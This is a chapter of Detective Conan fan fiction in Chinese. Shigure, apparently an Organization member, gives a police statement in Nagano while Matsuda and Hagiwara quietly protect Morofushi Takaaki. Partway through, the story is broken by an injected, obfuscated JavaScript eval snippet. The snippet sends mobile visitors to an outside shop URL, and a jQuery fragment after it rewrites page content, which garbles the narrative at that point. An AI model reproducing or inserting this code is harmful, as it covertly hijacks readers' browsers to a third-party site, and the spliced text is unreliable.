月鳥時雨向诸伏高明点了点头转过身,朝松田阵平和萩原研二的方向走去。
“你们先回旅馆等我。”他的声音不大,语气却带着一种让人没法反驳的自然“别冻着了,明天还要滑雪呢。”
萩原研二正要应声,松田阵平却往前迈了一步。
“我跟你去。”
月鳥時雨的脚步顿了一下,回过头看着他。
“不用,就做个笔……”
“我说了,跟你去。”松田阵平的语气没有商量的余地。他看了萩原研二一眼“你先回去,我跟那小……跟他去一趟。”
萩原研二看了看松田阵平的表情又看了看月鳥時雨那张瞬间微妙起来的脸。
“行。小時雨,好好配合警察叔叔。”他说完就转身往旅馆方向走了,步伐轻快,背影都带着笑意。
月鳥夕露看了月鳥時雨一眼什么也没说,跟着萩原研二走了。
月鳥時雨站在原地看着松田阵平。
“小阵平,你是不放心我,还是不放心那个警察?”
“都不放心。”松田阵平已经朝诸伏高明的方向走了,头也没回。
月鳥時雨深吸一口气,加快脚步跟了上去。
走到诸伏高明面前时,月鳥時雨脸上的表情已经切换完毕。他微微颔首,语气客气。
“诸伏警官,我朋友不放心我一个人去,能一起去吗?”
诸伏高明看了松田阵平一眼,目光在他身上停了一秒。
“可以。”
三个人上了警车。诸伏高明开车,松田阵平坐在副驾驶,月鳥時雨一个人坐在后座。车里很安静,只有引擎的低鸣声和暖风出口的呼呼声。
松田阵平从副驾驶的后视镜里看了一眼后座的人。嘴角挂着一丝若有若无的微笑,整个人看起来从容、淡定、甚至有点优雅。
跟刚才在小树林里坐在人堆上比“七”的那个中二的家伙简直不是同一个人。
松田阵平把目光收回来,面无表情地盯着前方的路心里给这个小鬼又记了一笔。
车子在大町警察署门口停下来。三个人下了车,走进那栋灰色的两层建筑。走廊里的灯光是那种行政单位特有的惨白色,空气中弥漫着烟味。
诸伏高明把他们带到一间询问室,拉开椅子坐下翻开记录本。
“月鳥先生,请坐。”
月鳥時雨在对面坐下来,坐姿端正但不僵硬双手自然地放在桌面上,整个人看起来就是那种家教良好、遇事不慌的年轻人。
松田阵平靠在门边的墙上,双手抱胸看着这一幕。
“月鳥先生,请再说一下你发现那伙人的经过。”诸伏高明的笔尖落在纸上。
月鳥時雨开始陈述。语速不快不慢,声音平稳清晰,每个细节都说得合情合理。他说自己今年二十岁寒假回国探亲,顺便来长野滑雪。昨晚因为偏头痛出来透气偶然遇到了那伙人,被对方持刀威胁,出于自卫还击。
“你的自卫手段相当专业。”诸伏高明抬起头,灰蓝色的眼睛看着他。
月鳥時雨笑了一下,那个笑容带着一点不好意思,又带着一点“这没什么好说的”的谦虚。
“因为兴趣以及在美国读书的时候学校附近治安不太好,上过一段时间的自卫课,也就一些基础和近身格斗的入门,不算专业,就是能保护自己的程度。”
“哪所学校?”
“加州大学洛杉矶分校。大三,社会人类学系。”月鳥時雨的语气自然得像在聊今天的天气“这次春假回来待两周,顺便来长野滑雪。”
他说得有模有样,连校园里那家咖啡厅的名字都能随口说出来。诸伏高明在记录本上写了几笔又问了他的在美住址、在日联系方式。月鳥時雨一一回答没有一个停顿,没有一个平时爱说的语气词。
诸伏高明合上记录本。
“月鳥先生,你用的自卫工具是什么?”
月鳥時雨没有犹豫“甩棍。”语气坦然,“伸缩式的,当时在美国买的回国后一直带着防身。我知道日本的法律对这方面有规定,昨天的情况比较特殊,如果不带的话……”
他耸了耸肩,没有说下去。
诸伏高明看了他一眼。
“甩棍现在在哪里?”
“在我外套口袋里。”月鳥時雨从大衣口袋里掏出那根收缩状态的甩棍,放在桌上推了过去。
诸伏高明拿起甩棍看了一眼,放在旁边。
“这是证物,暂扣。”
“明白。”月鳥時雨点了点头,没有任何异议。
松田阵平靠在墙上看着这一幕。
真的完全不像同一个人啊。假身份那么详细,那个组织到底有多大的能力?
诸伏高明又问了一些常规问题,月鳥時雨全部回答得滴水不漏。从头到尾,他的语气、表情、肢体语言都保持在一个完美的区间内,恰到好处的“被吓到了但因为在美国遇到过很多类似的事,所以习惯了”的态度。
最后诸伏高明合上记录本,看着月鳥時雨。
“月鳥先生,今天的笔录我会整理提交。你的甩棍作为证物暂扣,后续处理结果会通知你。”
“好的。”月鳥時雨站起来,微微鞠了一躬“辛苦诸伏警官了。晚上的还要麻烦您做笔录,真是不好意思。”
诸伏高明也站起来,拉开询问室的门。
“我送你们回旅馆。”
“那就麻烦您了。”月鳥時雨没有推辞“这附近的路我不太熟,晚上确实不太好走。”
三人走出警署。夜风迎面扑来,带着雪和松针的味道。月鳥時雨把大衣领子竖起来,微微缩了缩脖子。
一路无言。回来后月鳥時雨站在车旁,看了一眼松田,又看了一眼萩原,最后把目光落在高明身上。
“诸伏警官,您总偷偷的打量我的两位朋友,是不是在哪儿见过?”
诸伏高明站在驾驶座旁,灰蓝色的眼睛扫过松田阵平和萩原研二的脸。
“嗯。确实觉得眼熟,但想不起来具体在哪里。”
萩原研二忽然歪了歪头,露出一副思考的表情。
“诸伏……这个姓氏,是不是……”他看了松田阵平一眼,像是在确认什么。
松田阵平接上了话“说起来,您是不是来我们学校指导过?警视厅警察学校。我记得有一次有位诸伏警官来做讲座,好像是关于县域警力协作的。”
萩原研二在旁边点头附和“对对对,我也想起来了。那会儿我们还在受训,您讲完之后还留了联系方式说有问题可以请教。不过后来也没联系过,难怪一下子没认出来。”
诸伏高明微微一愣。
他其实已经确认这两名后辈是自己弟弟的同期,但自己和他们并未见过面,可是对方说得有板有眼,警察学校、讲座、县域警力协作……
他微微颔首顺着说了下去“可能是那时候见过。时间久了我一时也没想起来。”
“那就对了。”松田阵平笑了一下“我说您怎么老看我们呢。”
萩原研二也笑了“诸伏警官记性真好过了那么久还能觉得眼熟。我们俩反而半天没想起来,还是小時雨提醒才反应过来。”
月鳥時雨站在一旁,看着这三个人你一言我一语地把事情对上,绿色的眼睛眨了眨。
原来是这样。
他心里的那根弦彻底松了下来。差点以为是组织里其他派系的人派来的手下。
“行了行了,大半夜的在门口站着怪冷的。”他朝诸伏高明微微鞠了一躬“诸伏警官今晚麻烦您了。路上小心。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684540|206571||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诸伏高明点了点头“你们也早点休息。”
他坐回驾驶座,发动车子,驶入夜色。
三个人站在旅馆门口,看着那辆警车的尾灯渐渐消失在道路尽头。
月鳥時雨长长地呼出一口白气。
“看来是我多心了。”他伸了个懒腰,语气轻松“进去吧,冻死了。”
他转身先走进了旅馆。
萩原研二和松田阵平对视了一眼。
两个人的表情在那一瞬间都很微妙但谁也没有说话。
回到旅馆月鳥時雨直接躺到在客厅的榻榻米上。
“明天不滑雪了。”他翻了个身,语气斩钉截铁“去神社,户隐神社驱邪。”
“今天发生的这些事,我先是滑雪摔了一天,然后被官方的雪崩扬声器震晕,醒来偏头痛,出去透气被七个贩毒的堵住,做完笔录半夜才回来还是被警车送回来的。”他掰着手指头一条一条地数,语气越来越沉重“这已经不是在滑雪了,这是在渡劫。”
松田阵平的嘴角抽了一下。
“所以呢?”
“所以明天去神社。”月鳥時雨的语气斩钉截铁“去驱邪。把这几天沾上的晦气全部清干净。我查过了,长野最有名的是户隐神社,驱邪除厄特别灵。而且那边还有户隐荞麦面,正好可以当午饭。”
萩原研二在旁边笑了一下。
“你倒是功课做得挺全。”
“那是当然。”月鳥時雨从被子上坐起来,绿色的眼睛又亮了起来“我可是做了充分准备的。滑雪因为扬声器不能去了,但神社参拜我还是可以的。”
松田阵平靠墙喝水,嘴角抽了一下“随你。”
萩原研二笑着摇头,没接话。
“夕露,你去不去?”
“不去。”
“去。”
“不去。”
“去的话下午就逛街,我交流出钱,他俩提包。”
月島夕露偷偷瞟了他一眼“……去。”
松田阵平:?
萩原研二:?
夜深了。为了照顾伤员,月鳥時雨搬到了另一间空的房间。
回想起自己本来还想查查这个警察,但现在看来完全没必要。
他想了想,打开通讯录找到“G”。
“贝尔摩德的联系方式给我。”
回复很快。琴酒显然不情愿,但还是发来一串数字。
月鳥時雨复制保存,给那个号发了条消息:「贝尔摩德,我是英。」
等待贝尔摩德回消息的时候月鳥時雨觉得无聊,顺势拿出包里的素描本,回想起昨天晚上的温泉里的场景开始画画。
隔壁房间。
“高明哥居然顺着说了。”萩原研二的声音从黑暗中传来,很轻,带着一点不可思议“他明明不认识我们。”
“因为他知道我们。”松田阵平盯着天花板“我记得毕业那时候景光给他哥哥寄过我们几个的照片。”
萩原研二沉默了一会儿。
“高明不知道……景光的事。”
“当然不知道。”松田阵平的声音很低“景光消失得那么突然连我们都不清楚他去了哪里。高明大概以为他弟弟只是调职或离职了吧。”
两个人都没有再说话。
黑暗中,只有窗外的风声。
景光。你的哥哥今天出现在我们面前。他什么都不知道。
我们只能这样帮他——用一场临时编出来的“指导讲座”,把時雨糊弄过去。
至少这样,组织不会盯上高明。
只能帮到这里了。
萩原研二翻了个身,发出一声极轻的叹息。
松田阵平闭上眼睛。
贝尔摩德:「恭喜出了实验室,梅斯卡尔。」